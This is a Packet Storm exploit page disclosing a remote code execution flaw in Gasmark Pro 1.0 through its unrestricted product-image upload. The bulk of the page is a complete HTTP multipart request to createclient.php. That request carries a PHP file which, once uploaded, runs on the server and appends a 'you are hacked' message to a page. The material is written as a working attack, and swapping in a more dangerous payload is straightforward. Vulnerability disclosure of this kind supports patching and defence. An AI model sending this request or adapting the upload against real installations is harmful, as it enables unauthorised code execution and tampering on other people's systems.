exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Gasmark Pro 1.0 Shell Upload

Gasmark Pro 1.0 Shell Upload
Posted Mar 18, 2024
Authored by nu11secur1ty

Gasmark Pro version 1.0 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 74aac3d302e6dccc4a04f4bb3b7f33f7c74952c5fafd68a7b296c174889dd69b

Gasmark Pro 1.0 Shell Upload

Change Mirror Download
## Title: GASMARK PRO-1.0 File Upload RCE

## Author: nu11secur1ty
## Date: 03/17/2024
## Vendor: https://www.mayurik.com/
## Software: https://www.sourcecodester.com/php/15586/gas-agency-management-system-project-php-free-download-source-code.html
## Reference: https://portswigger.net/web-security/file-upload
## Reference: https://www.cloudflare.com/learning/security/what-is-remote-code-execution/

## Description:
Vulnerable input:
`<input type="file" class="form-control" id="productImage"
name="productImage" style="width:auto;">`
This application suffers from shell upload and remote code execution
vulnerability, the attacker easily
can destroy this system, when he has credentials.

STATUS: HIGH- Vulnerability CRITICAL

[+]Exploit:
```PHP
POST /gasmark/gasmark/php_action/createclient.php HTTP/1.1
Host: pwnedhost.com
Cookie: PHPSESSID=1afinf22p9snl2nai24g29duuc
Content-Length: 1063
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://pwnedhost.com
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryb4PfTJ8hUNsEjxtB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://pwnedhost.com/gasmark/gasmark/add_client.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

------WebKitFormBoundaryb4PfTJ8hUNsEjxtB
Content-Disposition: form-data; name="currnt_date"


------WebKitFormBoundaryb4PfTJ8hUNsEjxtB
Content-Disposition: form-data; name="name"

pwned
------WebKitFormBoundaryb4PfTJ8hUNsEjxtB
Content-Disposition: form-data; name="gender"

Female
------WebKitFormBoundaryb4PfTJ8hUNsEjxtB
Content-Disposition: form-data; name="mob_no"

1234
------WebKitFormBoundaryb4PfTJ8hUNsEjxtB
Content-Disposition: form-data; name="reffering"

1234
------WebKitFormBoundaryb4PfTJ8hUNsEjxtB
Content-Disposition: form-data; name="address"

1234
------WebKitFormBoundaryb4PfTJ8hUNsEjxtB
Content-Disposition: form-data; name="productImage"; filename="1nsi1deyou.php"
Content-Type: application/octet-stream

<?php
// by nu11secur1ty - 2023
$fh = fopen('test.html', 'a');
fwrite($fh, '<h1>Hello, you are hacked by Fileupload and RCE!</h1>');
fclose($fh);

//nlink('test.html');
?>

------WebKitFormBoundaryb4PfTJ8hUNsEjxtB
Content-Disposition: form-data; name="create"


------WebKitFormBoundaryb4PfTJ8hUNsEjxtB--

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/03/gasmark-pro-10-file-upload-rce.html)

## Time spent:
00:25:00

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close